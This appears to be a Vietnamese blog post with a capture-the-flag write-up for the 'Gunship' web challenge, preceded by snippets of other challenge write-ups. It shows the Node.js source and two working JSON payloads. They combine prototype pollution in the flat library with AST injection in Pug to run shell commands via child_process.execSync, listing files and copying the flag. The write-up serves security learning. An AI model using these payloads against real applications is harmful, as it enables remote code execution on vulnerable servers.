Gunship

Search for a command to run...

No comments yet. Be the first to comment.
Docker Docker là gì? Docker là gì? Docker là nền tảng sử dụng để phát triển, đóng gói và chạy ứng dụng. Về cơ bản, Docker sử dụng công nghệ Container hóa để cô lập các ứng dụng và tách nó ra khỏi hạ tầng sử dụng, bằng cách này thì việc triển khai và ...
Walkthrough Đề bài đưa ra một Source code bao gồm hàm bị mật mã hóa (encrypt) và một đoạn thông báo(message) đã bị mật mã hóa. Về cơ bản đoạn mã hóa này chỉ sử dụng toán học và mã hóa (encoding) để sinh ra bản mã(cipher text). def encryption(msg): ...
Tóm tắt Đây lại là một bài Whitebox, cần một chút hiểu biết(đã từng làm) về các lỗ hổng khác để có thể hoàn thành bài. Điểm đang chú ý nhất là việc lỗi dẫn đến lỗ hổng SSRF ở bài này là việc chuyển đổi từ String tới bytes có thể dẫn tới lỗ hổng. Wa...

Tóm tắt Đây một bài Blackbox cần quan sát thêm ở các thông tin đưa ra là có thể nhận ra. Vector attack ở bài này liên quan tới SSTI (sever side template injection) khi cho phép người dùng tùy ý điều khiển ở một số page tưởng như vô hại dẫn đến RCE. W...

Tóm tắt Bài này tiếp tục là một bài Whitebox. Lỗi đến từ việc sử dụng thư viện có lỗ hổng ở đây là Pillow. Walkthrough Nói sơ qua về Web thì đây là một Web cho phép upload ảnh là tập hợp chúng lại thành một ảnh Gif Xem qua một chút source thì có du...

Bài này là một bài White Box khi mà được cung cấp cả Source Code.
Gunship là một Web Application được code bằng Nodejs có sử dụng phiên bản thư viện tồn tại lỗ hổng Prototype Pollution.
Lướt qua ứng dụng thì có duy nhất một tính năng là tên xong trả về lời chào ._.
Chúng ta cũng được cung cấp luôn source code.
Có 2 endpoint trong đó API khá dài, có thể lỗi ở đây.
const path = require('path');
const express = require('express');
const pug = require('pug');
const { unflatten } = require('flat');
const router = express.Router();
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/submit', (req, res) => {
const { artist } = unflatten(req.body);
if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the full name of an existing member.'
});
}
});
module.exports = router;
Bài này mình nhận ra ngay ở lúc đọc source. Sử dụng Pug là một template engine để compile thành html và sử dụng flat để unflatten dữ liệu. Hai thư viện này đã tồn tại lỗi ở một số phiên bản trước, 2 phiên bản này mình từng phân tích ở https://github.com/biennd279/pug-ast dựa trên bài https://blog.p6.is/AST-Injection/ nên mình check luôn ở file package.json thì đúng vậy.
{
/** **/
"dependencies": {
"express": "^4.17.1",
"flat": "5.0.0",
"pug": "^3.0.0"
}
}
Nên sử dụng luôn Payload mình đã từng viết. Mình đẩy qua static để lấy được folder hiện tại đỡ phải đẩy ra bên ngoài.
{
"artist.name":"Haigh dasea",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('ls > /app/static/pwd')"
}
}

Và lấy đẩy flag qua static và lấy flag về thôi.
{
"artist.name":"Haigh dasea",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('cp /app/flag0HKDx /app/static/flag')"
}
}
